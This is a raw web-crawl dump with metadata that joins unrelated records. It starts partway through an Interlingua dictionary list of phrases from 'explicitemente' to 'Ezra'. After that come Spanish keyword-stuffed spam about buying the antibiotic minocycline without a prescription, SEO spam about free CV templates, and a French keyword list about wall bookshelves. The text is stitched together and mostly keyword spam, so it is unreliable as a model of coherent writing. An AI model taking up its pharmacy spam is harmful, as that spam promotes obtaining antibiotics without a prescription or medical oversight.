[parlar in terminos\nexplicite [responsa\nexplicitemente de un cosa [distantiar se\nexplicitemente [formular un cosa\nexplicitemente [interdicer un cosa\nexplicitemente [nominar\nexplicitemente [prohiber un cosa\nexploder\nexploder de rabie\nexploder in imprecationes\nexplodite [bomba non\nexplodite [granata non\nexploditor\nexploitabile\nexploitar\nexploitar laboratores\nexploitar obreros\nexploitar su talento\nexploitar travaliatores\nexploitar un mina\nexploitar un turbiera\nexploitation\nexploitation agricole\nexploitation commercial\nexploitation de gas\nexploitation de lignite\nexploitation de marna\nexploitation de mina\nexploitation de minas\nexploitation de minerales\nexploitation de ressources\nexploitation de un rete ferroviari\nexploitation de [compania pro le\nexploitation del homine per le homine\nexploitation del solo\nexploitation forestal\nexploitation forestal del stato\nexploitation industrial\nexploitation minerari\nexploitation minerari submarin\nexploitation rentabile\nexploitation [beneficios de\nexploitation [capital de\nexploitation [cifras de\nexploitation [costos de\nexploitation [expensas de\nexploitation [forma de\nexploitation [loco de\nexploitation [profitos de\nexploitation [resultatos de\nexploitation [terreno de\nexploitator\nexplorabile\nexplorar\nexplorar le horizonte\nexplorar le terreno\nexplorar per scannator\nexplorar un caverna\nexplorar un grotta\nexplorar un organo interne\nexplorar un question\nexploration\nexploration de Africa Central\nexploration del abyssos\nexploration del subconsciente\nexploration delconsciente\nexploration hydrologic\nexploration methodic de un caverna\nexploration oceanic\nexploration polar\nexploration radiologic\nexploration spatial\nexploration speleologic\nexploration submarin\nexploration [viage de\nexplorative\nexplorative [expedition\nexplorative [operation\nexplorator\nexplorator del natura\nexplorator del regiones polar\nexplorator polar\nexploratori\nexploratori [expedition\nexploratori [operation\nexploratori [perforation\nexplosibile\nexplosibilitate\nexplosion\nexplosion affective\nexplosion atomic\nexplosion de benzina\nexplosion de cholera\nexplosion de dynamite\nexplosion de gas\nexplosion de gasolina\nexplosion de grisu\nexplosion de ira\nexplosion de risada\nexplosion de riso\nexplosion de un bomba atomic [nube fungiforme del\nexplosion demographic\nexplosion emotional\nexplosion emotive\nexplosion ha facite vibrar le vitros [le\nexplosion nuclear\nexplosion supersonic\nexplosion [facer\nexplosion [motor a\nexplosion [motor de\nexplosion [orificio de admission in un motor de\nexplosion [periculo de\nexplosion [risco de\nexplosive\nexplosive [atmosphera\nexplosive [bomba\nexplosive [carga\nexplosive [cigarro\nexplosive [consonante\nexplosive [crescimento\nexplosive [granata\nexplosive [haber un character\nexplosive [le situation se face\nexplosive [littera\nexplosive [materia\nexplosive [progresso\nexplosive [situation\nexplosive [unda\nexplosivitate\nexplosivitate de un gas\nexplosivo\nexplosivo conventional\nexplosivo [poter destructive de un\nexpone a multe periculos [su imprudentia le\nexponente\nexponente de hydrogeno\nexponente del burgesia\nexponente del classe obrer\nexponential\nexponential [accrescimento\nexponential [crescentia\nexponential [crescimento\nexponential [crescita\nexponential [curva\nexponential [equation\nexponential [function\nexponential [integral\nexponential [phase\nexponer\nexponer al sol\nexponer se a persecutiones\nexponer se a un risco\nexponer se a un risco inutile per pur bravura\nexponer se al periculo\nexponer statuas\nexponer su intentiones\nexponer su intentiones [facer\nexponer su mercantias\nexponer su position\nexponer su vistas\nexponer su vita\nexponer un film\nexponer un pellicula\nexponer un persona al periculo\nexponer un subjecto\nexponite a reguardos curiose\nexponite a reguardos indiscrete\nexponite a vilification [esser\nexponite al criticas\nexponite al intemperie\nexponite al nord\nexponite al nord [muro\nexponite al vento\nexponite le cosas [ille me ha amplemente\nexportabile\nexportabile [productos\nexportar\nexportar contrabando\nexportar mercantias\nexportar merces\nexportation\nexportation de armas\nexportation de armas [embargo super le\nexportation de butyro\nexportation de capitales\nexportation de carbon\nexportation de caseo\nexportation de frumento\nexportation de stanno\nexportation de tabaco\nexportation de the\nexportation de tritico\nexportation [articulo de\nexportation [commercio de\nexportation [derectos de\nexportation [excesso de\nexportation [firma de\nexportation [industria de\nexportation [interprisa de\nexportation [licentia de\nexportation [mercantias de\nexportation [mercato de\nexportation [merces de\nexportation [patata de\nexportation [porto de\nexportation [premio de\nexportation [producto de\nexportation [prohibition de\nexportation [saldo de\nexportation [servicio de\nexportationes [crescimento del\nexportationes [le importationes non debe exceder le\nexportationes [volumine del\nexportator\nexportator de carbon\nexportator de caseo\nexportator de cereales\nexportator de frumento\nExportator de Petrole [OPEP: Organisation del Paises\nexportator de petroleo [pais\nexportator de tabaco\nexportator de the\nexportator de tritico\nexposimetro\nexposimetro incorporate [camera con\nexposition\nexposition agricole\nexposition agricultural\nexposition al sol\nexposition ambulante\nexposition autumnal\nexposition avicole\nexposition biennal\nexposition canin\nexposition de affiches\nexposition de arte\nexposition de automobiles\nexposition de autos\nexposition de bestial\nexposition de canes\nexposition de capras\nexposition de cattos\nexposition de chrysanthemos\nexposition de dahlias\nexposition de horticultura\nexposition de iste pictura es mal [le\nexposition de picturas\nexposition de sculpturas\nexposition de un corpore al luce\nexposition de un corpore al lumine\nexposition decennal\nexposition duple\nexposition farraginose\nexposition felin\nexposition floral\nexposition flottante\nexposition horticole\nexposition industrial\nexposition itinerante\nexposition mundial\nexposition permanente\nexposition philatelic\nexposition retrospective\nexposition triennal de picturas\nexposition universal\nexposition universe\nexposition [durata de\nexposition [duration de\nexposition [facer un\nexposition [inaugurar un\nexposition [jorno de\nexposition [organisar un\nexposition [presentar un\nexposition [sala de\nexposition [salon de\nexposition [technicitate de un\nexposition [tempore de\nexposition [visitar un\nexposition [visitatores de un\nexpositiones [tabella de\nexpositive\nexpositor\nexpositori\nexpresse\nexpresse [approbation\nexpresse [condition\nexpresse [consentimento\nexpresse [contra mi desiderio\nexpresse [contra mi desiro\nexpresse [contra mi prohibition\nexpresse [littera\nexpresse [ordine\nexpresse [pacchetto\nexpresse [servicio\nexpresse [traino\nexpresse [tram\nexpresse [tramvia\nexpresse [tramway\nexpresse [via\nexpressemente\nexpressemente [mentionar\nexpression\nexpression a [dar\nexpression adequate\nexpression argotic\nexpression artistic\nexpression brachylogic\nexpression colloquial\nexpression concise\nexpression consecrate\nexpression currente\nexpression de\nexpression de politessa\nexpression de un besonio [le fame es le\nexpression del pulpito\nexpression del visage\nexpression desuete\nexpression dialectal\nexpression dialectal intraducibile\nexpression dialectal [intraducibilitate de un\nexpression emotive\nexpression euphemic\nexpression euphemistic\nexpression facial\nexpression familiar\nexpression figurate\nexpression fixe\nexpression hyperbolic\nexpression idiomatic\nexpression improprie\nexpression indelicate\nexpression metonymic\nexpression neologic\nexpression periphrastic\nexpression pleonastic\nexpression popular\nexpression proverbial\nexpression sarcastic\nexpression sonor\nexpression stereotypic\nexpression tautologic\nexpression usual\nexpression vulgar\nexpression [allusivitate de un\nexpression [attenuar un\nexpression [claritate de\nexpression [correctessa de un\nexpression [facilitate de\nexpression [fortia de\nexpression [medio de\nexpression [modo de\nexpressiones es equivalente [iste duo\nexpressiones latin [un discurso interlardate de\nexpressionismo\nexpressionista\nexpressionista [currente\nexpressionista [movimento\nexpressionista [pictura\nexpressionistic\nexpressionistic [movimento\nexpressive\nexpressive [fortia\nexpressive [gesto\nexpressive [linguage\nexpressive [medio\nexpressive [silentio\nexpressive [visage\nexpressivemente [surrider\nexpressivitate\nexpressivitate de un locution dialectal [le\nexpresso\nexpresso [guastar un cosa\nexpresso [ille lo ha facite\nexprime sobriemente [ille se\nexprimer\nexprimer clarmente su pensamento\nexprimer clarmente su pensata\nexprimer le succo de un citro\nexprimer me assi [si io pote\nexprimer se con concision\nexprimer se con grande correctessa\nexprimer se con nettitate\nexprimer se correctemente\nexprimer se figuratemente\nexprimer se in imagines\nexprimer se in modo abstruse\nexprimer se in terminos approximative\nexprimer se in terminos eloquente\nexprimer se in terminos explicite\nexprimer se in terminos moderate\nexprimer se in un Interlingua impeccabile\nexprimer se in un linguage cryptic\nexprimer se in un linguage de maniera cryptic\nexprimer se in un linguage parlamentari\nexprimer se intelligibilemente\nexprimer se mediante gestos\nexprimer se multo convenibilemente in Interlingua\nexprimer se per enigmas\nexprimer se per gestos\nexprimer se sin claritate\nexprimer se troppo abstractemente\nexprimer se verbosemente\nexprimer su\nexprimer su condolentias\nexprimer su gaudio con exuberantia\nexprimer su gratitude a un persona\nexprimer su indignation\nexprimer su irritation\nexprimer su joia con exuberantia\nexprimer su recognoscentia\nexprimer su regretes a un persona\nexprimer su sentimentos\nexprimer su surprisa\nexprimer su sympathia\nexprimer un citro\nexprimer un desiderio\nexprimer un desiro\nexprimer un judicamento\nexprimer un judicio\nexprimer un opinion\nexprimer un vista optimista\nexprimer un vista optimistic\nexprimibile\nexprimibile in parolas [un sentimento non\nexprimite [melle\nexprimite [sobriemente\nexprimitor\nexprimitor de aqua\nexprimitor [passar per le\nexpromission\nexpropriar\nexpropriation\nexpropriation de un terreno\nexpropriation pro utilitate public\nexpropriation [clausula de\nexpropriation [procedimento de\nexpropriation [procedura de\nexpropriator\nexpugnabile\nexpugnabile a costo de grave perditas [un position solo\nexpugnabilitate\nexpugnabilitate de un fortalessa [le\nexpugnar\nexpugnar le voluntate de un persona\nexpugnar un fortalessa\nexpugnation\nexpugnator\nexpulicar\nexpulication\nexpulicatorio\nexpulsar\nexpulsar estranieros indesiderabile\nexpulsar estranieros indesirabile\nexpulsar un jocator del campo\nexpulsar un persona del pais\nexpulsar un persona del partito\nexpulsate de Espania in 1492 [le judeos esseva\nexpulsion\nexpulsion de un locatario qui non paga su location\nexpulsion [mandato de\nexpulsion [ordine de\nexpulsive\nexpulsive [dolores\nexpulsive [medicamento\nexpunction\nexpunger\nexpurgabile\nexpurgar\nexpurgar un societate\nexpurgate del Decamerone [edition\nexpurgation\nexpurgator\nexpurgatori\nexpurgatori [index\nexpurgatori [indice\nexquisitate\nexquisite\nexquisite de poemas [collection\nexquisite [fragas\nexquisite [harmonia\nexquisite [humor\nexquisite [morsello\nexquisite [pictura\nexquisite [platto\nexquisite [plattos\nexquisite [tempore\nexquisite [vino\nexquisitessa\nexsangue\nexsangue [labios\nexsangue [representation\nexsangue [vulnerato\nexsanguinar\nexsanguination\nexsiccar\nexsiccar un palude\nexsiccation\nexsiccation de un palude\nexsiccation [furno de\nexsiccative\nexsiccative [medios\nexsiccator\nexspuer\nexspuition\nexsuction\nexsudar\nexsudar resina\nexsudat\nexsudat mucose\nexsudat purulente\nexsudat vegetal\nexsudation\nexsudative\nexsudative [cura\nextase = extasis\nextase celeste\nextase mystic\nextasiar\nextasiar se\nextasis [extase =\nextatic\nextatic [inebriation\nextatic [vision\nextatico\nextemporanee\nextemporanee [discurso\nextemporanee [poesia\nextemporanee [poeta\nextemporaneitate\nextemporaneitate de un discurso\nextende de 500 usque a 1500 [le medie etate se\nextende de 500 usque a 1500 [le medievo se\nextende le alas [le ave\nextende super decenas de kilometros quadrate [le inundation se\nextende terreno [le incendio se\nextender\nextender a qualcunque temperatura [iste margarina es facile de\nextender le alas\nextender le bracios\nextender le mano\nextender se al infinito\nextender se super le musco\nextender se super un lecto\nextender su cognoscentias\nextender su cognoscimentos\nextender su influentia a\nextender su tentaculos\nextender un carta\nextender un hospital\nextender un mappa\nextender un tabula\nextender un tripede\nextender un tripode\nextendibile\nextendibile [cognoscentias\nextendibile [cognoscimentos\nextendibile [reporto\nextendibile [scala\nextendibile [tabula\nextense [plana\nextensemente [on ha tractate le thema\nextensibile\nextensibile [concepto\nextensibile [definition\nextensibile [lampa a bracio\nextensibile [materia\nextensibile [parapluvia\nextensibile [pariete\nextensibile [scala\nextensibile [tabula\nextensibilitate\nextensibilitate de certe fibras vegetal\nextensiflor\nextension\nextension conic\nextension de tenta\nextension de un clausula de contracto\nextension de un concepto\nextension de un epidemia\nextension del damno [le\nextension del damno(s)\nextension illimitate\nextension urban\nextension [in tote su\nextension [plano de\nextensive\nextensive de camminos [systema\nextensive de un parola [signification\nextensive [agricultura\nextensive [competentias\nextenso [in\nextenso [publicar un discurso in\nextenso [reproducer un cosa in\nextensometro\nextensor\nextensor del antebracio\nextensor del mano\nextensor [musculo\nextensori [musculo\nextenuante [calor\nextenuante [labor\nextenuante [travalio\nextenuar\nextenuar se\nextenuate [le viage le ha\nextenuate [sentir se\nextenuation\nextenuation [guerra de\nextenuation [stato de\nextere\nextere [politica\nextere [valuta\nexterior\nexterior de dextera [avantero\nexterior de dextra [avantero\nexterior de sinistra [avantero\nexterior de un casa [le\nexterior del dica [situate al\nexterior del filetto [diametro\nexterior [aere\nexterior [al latere\nexterior [ala dextere\nexterior [ala dextre\nexterior [ala leve\nexterior [ala sinistre\nexterior [angulo\nexterior [antenna\nexterior [aspecto\nexterior [bordo\nexterior [canal\nexterior [characteristicas\nexterior [commercio\nexterior [commercio con le\nexterior [contorno\nexterior [curva\nexterior [dica\nexterior [dimension\nexterior [filetto\nexterior [galeria\nexterior [judicar del\nexterior [labores al\nexterior [lampa\nexterior [latere\nexterior [linea\nexterior [mesura\nExterior [Ministerio del\nexterior [mitter al\nexterior [motor\nexterior [mundo\nexterior [muro\nexterior [parte\nexterior [planeta\nexterior [planetas\nexterior [polder\nexterior [politica\nexterior [porta\nexterior [porto\nexterior [quartiero\nexterior [retrovisor\nexterior [scala\nexterior [servicio\nexterior [specialista de questiones\nexterior [tasca\nexterior [temperatura\nexterior [travalios al\nexterior [vista\nexteriorisar\nexteriorisar su\nexteriorisar su cholera\nexteriorisar su gaudio\nexteriorisar su gaudio con exuberantia\nexteriorisar su joia\nexteriorisar su joia con exuberantia\nexteriorisar su sentimentos\nexteriorisar un pensamento\nexteriorisar un pensata\nexteriorisation\nexteriorisation de un sentiment\nexteriorisation [modo de\nexterioritate\nexterioritate de un sentimento\nexterminabile\nexterminar\nexterminar vermina\nextermination\nextermination de insectos [campania pro le\nextermination [campo de\nextermination [guerra de\nexterminator\nexterminatori\nexterminatori [angelo\nexterminatori [guerra\nexternato\nexterne\nexterne [alumno\nexterne [angulo\nexterne [angulos alterne\nexterne [application\nexterne [aure\nexterne [beltate\nexterne [carotide\nexterne [causas\nexterne [characteristicas\nexterne [conducto auditive\nexterne [conducto auditori\nexterne [diametro\nexterne [discipulo\nexterne [facie\nexterne [glandulas a secretion\nexterne [latere\nexterne [medicamento a uso\nexterne [medicamento pro uso\nexterne [memoria\nexterne [muro\nexterne [organo sexual\nexterne [pariete\nexterne [parte\nexterne [porto\nexterne [pro application\nexterne [pro uso\nexterne [scholar\nexterne [usage\nextero\nextero [adjuta pro le\nextero [al\nextero [commercio con le\nextero [io va al\nextero [io vive al\nexteroceptive\nexteroceptive [sensibilitate\nexterritorial\nexterritorialitate\nextincte\nextincte [animal\nextincte [calce\nextincte [carbon\nextincte [facer un impression\nextincte [un reguardo\nextincte [Vulcano\nextincte [vulcano\nextinction\nextinction con scuma\nextinction con spuma\nextinction de un debita\nextinction de un incendio\nextinction de un incendio [le\nextinction de un specie\nextinction de un specie animal\nextinction ha continuate usque a septe horas [le travalios de\nextinction [material de\nextinction [medio de\nextinctive\nextinctive [prescription\nextinctor\nextinctor a mano\nextinctor a nive carbonic\nextinctor a pulvere\nextinctor a scuma\nextinctor a scuma carbonic\nextinctor a spuma\nextinctor de incendios\nextinctor de scuma\nextinctor de spuma\nextinguer\nextinguer incendios [medios pro\nextinguer le foco\nextinguer le luce\nextinguer le lumine\nextinguer un candela\nextinguer un debita\nextinguer un incendio\nextinguibile\nextinguite le memoria de iste factos [le tempore ha\nextinguitor\nextiramento\nextirar\nextirar le collo\nextirar le digitos\nextirar le musculos\nextirar lo in filos multo fin [le ductilitate del auro permitte de\nextirar se\nextirar un pauco le gambas\nextirar un poco le gambas\nextirpabile\nextirpabile [tumor facilemente\nextirpamento\nextirpar\nextirpar chirurgicamente\nextirpar le germines del rebellion\nextirpar le mal\nextirpar le nucleos [apparato a\nextirpar le ovario\nextirpar le urticas\nextirpar un callo\nextirpar un cosa usque al radice\nextirpar un tumor\nextirpation\nextirpation de un callo\nextirpation de un heresia\nextirpation de un tumor\nextirpation de un vitio\nextirpation del amygdalas\nextirpation del glandula mammari\nextirpation del urticas [le\nextirpator\nextirpator de omne formas de corruption [un inflexibile\nextorquer\nextorquer moneta a un persona\nextorquer per chantage\nextorquer un signatura a un persona\nextorsion\nextorsion de un signatura\nextorsion de un summa de moneta\nextorsive\nextra\nextra de un jornal [edition\nextra de vacantias [paga\nextra de verdura [un ration\nextra le lege [esser\nextra le lege [poner\nextra [confitura\nextra [costos\nextra [edition\nextra [facer horas\nextra [ganiar\nextra [paga\nextra [salario\nextra [vino\nextra [vino de qualitate\nextrabuccal\nextrabudgetari\nextracellular\nextraclaustral\nextraconjugal\nextraconjugal [relation\nextracontractual\nextracorporal\nextractibile\nextraction\nextraction de carbon\nextraction de dentes\nextraction de gas\nextraction de gas natural\nextraction de gravella\nextraction de lignite\nextraction de marna\nextraction de minerales\nextraction de oleo\nextraction de petroleo\nextraction de phosphato\nextraction de sal\nextraction de stanno\nextraction de turba [le\nextraction de turfa [le\nextraction de un balla\nextraction de un dente\nextraction de uranium\nextraction del radice\nextraction del radice cubic\nextraction minerari\nextraction [esser de basse\nextracto\nextracto aquose\nextracto de argento\nextracto de baptismo\nextracto de caffe\nextracto de carne\nextracto de conto\nextracto de conto de giro\nextracto de ficato\nextracto de filice\nextracto de liquiritia\nextracto de malt\nextracto de nascentia\nextracto de opium\nextracto de rosa [un parve phiala de\nextracto de salvia\nextracto de tanno\nextracto de valeriana\nextracto de vanilla\nextracto hepatic\nextracto mortuari\nextractor\nextractor de clavos\nextractor de melle\nextractor de turba\nextractor de turfa\nextractor [melle de\nextractos herbal [facer\nextrader\nextrader un criminal\nextradition\nextradition [demanda de\nextradition [petition de\nextradition [tractato de\nextradorso\nextraeuropee\nextraeuropeee naties\nextrafin\nextrafin [chocolate\nextraforte\nextraforte [mustarda\nextragalactic\nextragalactic [materia\nextragalactic [nebulosa\nextraher\nextraher auro\nextraher cauchu\nextraher ferro\nextraher gres\nextraher le radice\nextraher le radice cubic\nextraher le succo de un citro\nextraher le turba\nextraher mineral del solo\nextraher minerales del solo\nextraher moneta de un persona\nextraher per suction\nextraher sanguine a un persona\nextraher turfa\nextraher un dente\nextraher un molar\nextraher un pannello de naso de su tasca\nextraher un secreto a un persona\nextrahite de Panorama [un nova\nextrahite [turba\nextrahite [turfa\nextrahuman\nextrajudicial\nextrajudicial [inquesta\nextrajudicial [investigation\nextrajudicial [procedimento\nextrajudicial [procedura\nextrajudiciari\nextrajudiciari [inquesta\nextrajudiciari [investigation\nextrajudiciari [procedimento\nextrajudiciari [procedura\nextralegal\nextralegal [problema\nextralegalitate\nextramarginal\nextramarital\nextramarital [haber un relation\nextramarital [relationes\nextramatrimonial\nextramundan\nextramural\nextranee\nextranee a un cosa [esser\nextranee [corpore\nextraofficial\nextraordinari\nextraordinari [assemblea\nextraordinari [fortia\nextraordinari [qualitates\nextraordinari [reunion\nextraordinari [successo\nextraparlamentari\nextraparlamentari reactionari [extremismo de un gruppo\nextraparlamentari [commission\nextraparlamentari [opposition\nextraparochial\nextrapolabile\nextrapolar\nextrapolation\nextrapolation del politica governamental\nextrapolation statistic\nextrapyramidal\nextrascholar\nextrascholar [activitates\nextrasensorial\nextrasensorial [perception\nextrasensorial [phenomenos\nextrasolar\nextrasystole\nextratemporal\nextraterrestre\nextraterrestre [esser\nextraterritorial\nextraterritorial [diplomates ha derectos\nextraterritorialitate\nextrauterin\nextrauterin [graviditate\nextrauterin [pregnantia\nextravagante\nextravagante [conceptiones\nextravagante [expensas\nextravagante [ideas\nextravagante [modo de vita\nextravagante [typo\nextravagante [un typo\nextravagantia\nextravagantias [facer\nextravagar\nextravaginal\nextravasar\nextravasar se\nextravasation\nextravasation de sanguine\nextravasato\nextreme\nextreme dextera\nextreme indigentia\nExtreme unction\nextreme unction\nextreme [caso\nextreme [limite\nextreme [mesuras\nextreme [nationalismo\nExtreme [oriente\nextreme [termino\nextrememente impolite\nextrememente inusual\nextrememente meticulose in su labor [ille es\nextrememente meticulose in su travalio [ille es\nextrememente subestimate [esser\nextremementeestimate [esser\nextremis [disposition testamentari in\nextremis [in\nextremismo\nextremismo de dextera\nextremismo de dextra\nextremismo de sinistra\nextremismo de un gruppo extraparlamentari reactionari\nextremismo in politica\nextremista\nextremista revolutionari\nextremista [gruppamento\nextremista [programma politic\nextremista [solution\nextremistic\nextremistic [doctrina\nextremistic [proponer un programma\nextremistic [theoria\nextremitate\nextremitate del cauda\nextremitate del citate [al altere\nextremitate del digito\nextremitate del urbe [al altere\nextremitate inferior\nextremitate superior\nextremitates\nextremitates de un corda [le\nextremitates del ponte [le duo\nextremo\nextremo al altere [cader de un\nextremo al altere [ir de un\nextremo al altere [passar de un\nextremo [augmentar le precio usque al\nextremos se attrahe [le\nextremos se tocca [le\nextricabile\nextricar\nextrication\nextrinsec\nextrinsec de un facto [causas\nextrinsec de un moneta [valor\nextrinsec [causa\nextrinsec [motivos\nextrinsec [semiconductor\nextrorse\nextrorse [stamine\nextroversion\nextroverter\nextrovertite\nextrovertito\nextruder\nextruder [machina a\nextruder [machina de\nextrusion\nexuberante\nexuberante [abscesso\nexuberante [capillatura\nexuberante [formas\nexuberante [gaudio\nexuberante [joia\nexuberante [linguage\nexuberante [persona\nexuberante [production\nexuberante [recolta\nexuberante [temperamento\nexuberante [vegetation\nexuberantia\nexuberantia de parolas\nexuberantia de vegetation\nexuberantia del formas\nexuberantia [exprimer su gaudio con\nexuberantia [exprimer su joia con\nexuberantia [exteriorisar su gaudio con\nexuberantia [exteriorisar su joia con\nexuberantia [manifestar su gaudio con\nexuberantia [manifestar su joia con\nexuberar\nexulcerar\nexulceration\nexulcerative\nexultante\nexultar\nexultation\nexuvias\nexuviation\nexvoto\neye-liner\neyra\nEzekiel\nEzra\nEzra [Esdras =","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/interlingua.wikia.com\/wiki\/Interlexico_es","date":"2018-12-14T17:46:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376826145.69\/warc\/CC-MAIN-20181214162826-20181214184826-00462.warc.gz","language":"ina","language_score":0.9965545535,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"ina_Latn_score\": 0.9965545535087585}","num_words":31597,"character_repetition_ratio":0.052,"word_repetition_ratio":0.002,"special_characters_ratio":0.163,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":5660.9,"cluster_detection":-1} +{"text":"minocycline hydrochloride precio quito, comprar minocycline hydrochloride 50mg opiniones, minocycline hydrochloride 50 mg domicilio venta, minocycline hydrochloride 100 mg de venta libre en argentina. donde puedo comprar minocycline hydrochloride femenino en argentina\ndonde comprar minocycline hydrochloride medellin. comprar minocycline hydrochloride solucion. minocycline hydrochloride 100 mg venta en farmacias. minocycline hydrochloride 50mg precio en argentina. minocycline hydrochloride donde comprar df.\ncomprar minocycline hydrochloride femenina contrareembolso: comprar minocycline hydrochloride femenina sin receta; donde puedo comprar minocycline hydrochloride sin receta en estados unidos; comprar minocycline hydrochloride madrid mano. minocycline hydrochloride precio peru\npuedo comprar minocycline hydrochloride sin receta, se puede comprar minocycline hydrochloride en una farmacia. minocycline hydrochloride 100 mg venta online. comprar minocycline hydrochloride en argentina sin receta. minocycline hydrochloride precio farmacia espana. minocycline hydrochloride 100 mg ventas; minocycline hydrochloride 100mg femenino venta en farmacias. comprar minocycline hydrochloride 100 mg puerto rico donde comprar minocycline hydrochloride sin receta medica\ncomprar minocycline hydrochloride 100mg original online El Salvador comprar minocycline hydrochloride 50 mg queretaro\npastillas minocycline hydrochloride precio en mexico\ncomprar minocycline hydrochloride 100 mg mastercard: comprar minocycline hydrochloride 50 mg en puerto rico. minocycline hydrochloride bogota precio. comprar minocycline hydrochloride linea mexico.\nminocycline hydrochloride precios bajos España\nfacebookhitlist.com\/profiles\/blogs\/buy-v...of-viagra-at-optimrx\ndonde comprar minocycline hydrochloride de forma segura para comprar minocin necesito receta como comprar minocycline hydrochloride argentina\ncomprar minocin con mastercard\ncomprar minocycline hydrochloride por internet en usa. comprar minocycline hydrochloride en argentina capital federal; comprar minocycline hydrochloride 50mg saltillo coahuila. comprar minocycline hydrochloride 50 mg contrareembolso, minocycline hydrochloride femenino comprar argentina\ncomprar minocycline hydrochloride 50 mg tienda en línea\ncomprar minocin 100 mg con diners club minocycline hydrochloride 50mg donde comprar en santiago\nbigtombolo.ning.com\/profiles\/blogs\/vigor...mejor-precio-uruguay\ncomprar minocycline hydrochloride generico online seguro\ncomprar minocycline hydrochloride 50 mg natural tienda\ndonde comprar minocycline hydrochloride en mexico d f\ncomprar minocycline hydrochloride 100 mg yahoo\nprecio del minocycline hydrochloride en chile\ncomprar minocycline hydrochloride 100mg argentina\ncomprar minocycline hydrochloride en europa comprar minocycline hydrochloride online envio rapido\ncomprar minocin facil\nminocycline hydrochloride sin receta en chile, comprar minocycline hydrochloride argentina. donde comprar minocycline hydrochloride generico en espana.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/xn--02-6kcq2can5aa.xn--p1ai\/index.php\/kunena-2017-04-12\/dobro-pozhalovat\/40945-minocycline-hydrochloride-como-comprar-sin-receta-al-mejor-precio","date":"2019-01-20T02:21:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583690495.59\/warc\/CC-MAIN-20190120021730-20190120043730-00291.warc.gz","language":"ina","language_score":0.6575654745,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6575654745101929, \"nld_Latn_score\": 0.11819126456975937, \"spa_Latn_score\": 0.038169585168361664, \"mlt_Latn_score\": 0.03487781435251236, \"eng_Latn_score\": 0.018506286665797234, \"ile_Latn_score\": 0.016011584550142288, \"lvs_Latn_score\": 0.013790039345622063, \"lat_Latn_score\": 0.011372298002243042, \"por_Latn_score\": 0.010861435905098915}","num_words":879,"character_repetition_ratio":0.437,"word_repetition_ratio":0.167,"special_characters_ratio":0.148,"stopwords_ratio":0.015,"flagged_words_ratio":0.0,"lang_id_score":0.66,"perplexity_score":10095.1,"cluster_detection":-1} +{"text":"europass cv plantilla – i started como hacer un curriculum vitae formato gratis, descargar plantilla modelo de curriculum vitae 2017 gratis en como hacer un curriculum vitae formato gratis, como hacer un curriculum vitae formato gratis o hacer y elaborar un curriculum vitae 2015 facil rapido y, formato de curriculum chile physic minimalistics como hacer un curriculum vitae formato gratis, como hacer un curriculum vitae formato gratis currculum solicitudes y cartas de presentaci³n occupational,\nEuropass Cv Plantilla – I Started Como Hacer Un Curriculum Vitae formato Gratis fuente: istarted.me\nDescargar Plantilla Modelo De Curriculum Vitae 2017 Gratis En Como Hacer Un Curriculum Vitae formato Gratis fuente: youtube.com\nComo Hacer Un Curriculum Vitae formato Gratis O Hacer Y Elaborar Un Curriculum Vitae 2015 Facil Rapido Y fuente: pinterest.es\nFormato De Curriculum Chile Physic Minimalistics Como Hacer Un Curriculum Vitae formato Gratis fuente: physic.minimalistics.co\nComo Hacer Un Curriculum Vitae formato Gratis Currculum solicitudes Y Cartas De Presentaci³n Occupational fuente: bls.gov\nComo Hacer Un Curriculum Vitae formato Gratis Plantilla Gratuita De Currculum Vitae En Psd fuente: pixellegancy.com\nCurriculum Vitae Line Gratis – Zooz1 Plantillas Como Hacer Un Curriculum Vitae formato Gratis fuente: zooz1.com\ncomo hacer un curriculum vitae formato gratis plantilla gratuita de currculum vitae en psd, curriculum vitae line gratis – zooz1 plantillas como hacer un curriculum vitae formato gratis, como hacer un curriculum vitae formato gratis educaci³n y otras bestias hacer un curriculum vitae… y que alguien, como hacer un curriculum vitae formato gratis creative ideas hacer resume gratis formatos de curriculum vitae en,","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/teleycinema.com\/como-hacer-un-curriculum-vitae-formato-gratis\/","date":"2019-02-22T22:17:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249406966.99\/warc\/CC-MAIN-20190222220601-20190223002601-00612.warc.gz","language":"ina","language_score":0.3595373631,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.35953736305236816, \"spa_Latn_score\": 0.24523477256298065, \"lat_Latn_score\": 0.17703574895858765, \"arg_Latn_score\": 0.07693056762218475, \"ast_Latn_score\": 0.021426348015666008, \"glg_Latn_score\": 0.020918751135468483, \"eus_Latn_score\": 0.014844952151179314, \"srd_Latn_score\": 0.011069396510720253, \"sco_Latn_score\": 0.010592436417937279}","num_words":431,"character_repetition_ratio":0.227,"word_repetition_ratio":0.547,"special_characters_ratio":0.174,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.349,"perplexity_score":6165.8,"cluster_detection":-1} +{"text":"Bibliotheque Murale Design\nbibliotheque etagere murale design by b.\nbibliotheque murale casa design composition mural en but.\nbibliotheque murale casa design stairway.\nbibliotheque murale design metal bureau multi cases.\nbibliotheque murale design pas cher 9 cases daisy.\nbibliotheque murale design sur mesure images.\nbibliotheque murale design a.\nbibliotheque murale design by gerard de hoop l comment en beige salon parquet couur.\nbibliotheque murale design retento par.\nbibliotheque murale design pas cher fond.\nbibliotheque murale design sur mesure l comment en chic.\nbibliotheque etagere murale design la manufacture z.\nbibliotheque murale design by gerard de hoop pour suspension.\nbibliotheque murale design retento sign by hoop.\nbibliotheque murale casa design.\nbibliotheque murale design metal pour.\nbibliotheque murale design sur mesure snake bookworm 1.\nbibliotheque murale design original en quarto by.\nbibliotheque murale design ikea mango mal 1.\nbibliotheque murale design pas cher salon.\nbibliotheque murale design metal fr.\nbibliotheque murale casa design pour salon.\nbibliotheque murale design by gerard de hoop set 3 cube.\nbibliotheque etagere murale design sign 1 modules.\nbibliotheque etagere murale design stairway 2.\nbibliotheque murale design by gerard de hoop 